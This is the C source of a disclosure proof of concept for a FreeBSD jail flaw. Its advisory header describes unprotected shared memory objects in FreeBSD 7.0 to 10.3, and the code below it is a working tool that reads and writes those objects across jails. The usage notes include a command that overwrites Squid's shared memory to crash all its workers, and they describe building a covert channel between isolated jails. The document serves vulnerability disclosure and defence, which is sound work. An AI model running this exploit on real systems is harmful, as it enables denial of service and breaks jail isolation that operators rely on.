/*******************************************************************************
*
* AFFECTED PRODUCTS
*
* This issue affects FreeBSD from 7.0 to 10.3 included.
*
*
* DESCRIPTION
*
* FreeBSD jail incompletely protects the access to the IPC primitives.
*
* The 'allow.sysvipc' setting only affects IPC queues, leaving other IPC
* objects unprotected, making them reachable system-wide independently of
* the system configuration.
*
* This creates two main weaknesses:
*
* - An attacker able to execute commands in one jail can attack processes
* located outside of the jail by directly accessing their IPC objects.
*
* - An attacker can create a bi-directional covert-channel between two
* otherwise isolated jails.
*
*
* MITIGATION
*
* There is no mitigation measure available on vulnerable systems.
*
* This issue is fixed in FreeBSD 11.0, the fix is also planned in the upcoming
* FreeBSD 10.4 (the fix is already committed to the FreeBSD STABLE branch, the
* release is currently scheduled for October, 2017).
*
* There is not fix planned for FreeBSD 10.3. Note that this version is an
* extended release which will be supported, and therefore widely deployed,
* until April 2018.
*
* If you are relying on FreeBSD jail for security purposes, I recommend
* to upgrade to a fixed version.
*
*
* POC
*
* This program demonstrate the ability to communicate in an unrestricted way
* between FreeBSD jails through the use SHM objects.
*
* This technique provides:
*
* - A stealth way to communicate with a payload executing itself in an
* otherwise isolated jail.
*
* - A way to exploit any process (system-wide) which uses SHM objects. The
* result may range from a Denial-Of-Service to an effective jail-hopping or
* jail-escape route.
*
*
* USAGE
*
* 1. Compile and copy this tool in two different jails:
*
* user@jail1:~$ make fbsd-shm-hole
* cc -O2 -pipe fbsd-shm-hole.c -o fbsd-shm-hole
* user@jail1:~$
*
* 2. In the first jail, pass an arbitrary SHM object path and a some string to
* as parameter to this tool:
*
* user@jail1:~$ ./fbsd-shm-hole /foo/bar "Anything there?"
* user@jail1:~$
*
* 3. On the second jail pass only the path, the content of the string will be
* read from the SHM object and displayed on the output:
*
* user@jail2:~$ ./fbsd-shm-hole /foo/bar
* Anything there?
* user@jail2:~$
*
* If there is a Squid daemon running somewhere on the system with the 'worker'
* setting set to a value equal to or greater than 2, use the following command
* to crash all Squid's workers at once:
*
* root@jail1# ./fbsd-shm-hole /squid-cache_mem_map_slices.shm 'Booh'
*
* They will segfault on the next request, Squid main process will remain
* running and the listening port opened (dumb monitoring systems may not even
* notice the crash) but Squid will be unable to handle any new request until
* it gets restarted.
*
* Note that Squid uses restrictive rights on its SHM objects, so you must
* either launch the command using the same UID as the Squid process or as
* root in your own jail to get write permissions.
*
*
* REFERENCES
*
* Original article:
* https://www.whitewinterwolf.com/posts/2017/08/02/freebsd-jail-shm-hole/
*
******************************************************************************/
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#define SIZE 4096
int main(int argc, char *argv[]){
char *str;
int len;
int fd;
if (argc != 2 && argc != 3) {
fprintf(stderr, "Usage: fbsd-shm-hole shm_path [string]\n");
return 1;
}
if (argc == 2) {
fd = shm_open(argv[1], O_RDONLY, 0666);
if (fd == -1) {
fprintf(stderr, "shm_open() failed: %s\n", argv[1]);
return 1;
}
str = mmap(NULL, SIZE, PROT_READ, MAP_SHARED, fd, 0);
if (str == MAP_FAILED) {
fprintf(stderr, "mmap() failed.\n");
return 1;
}
printf("%s\n", str);
}
else {
len = strlen(argv[2]) + 1;
if (len > SIZE) {
fprintf(stderr, "String too long (%d max.)\n", SIZE);
return 1;
}
fd = shm_open(argv[1], O_RDWR | O_CREAT, 0666);
if (fd == -1) {
fprintf(stderr, "shm_open() failed: %s\n", argv[1]);
return 1;
}
if (ftruncate(fd, SIZE) == -1) {
fprintf(stderr, "ftruncate() failed.\n");
return 1;
}
str = mmap(NULL, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (str == MAP_FAILED) {
fprintf(stderr, "mmap() failed.\n");
return 1;
}
memcpy(str, argv[2], len);
close(fd);
}
return 0;
}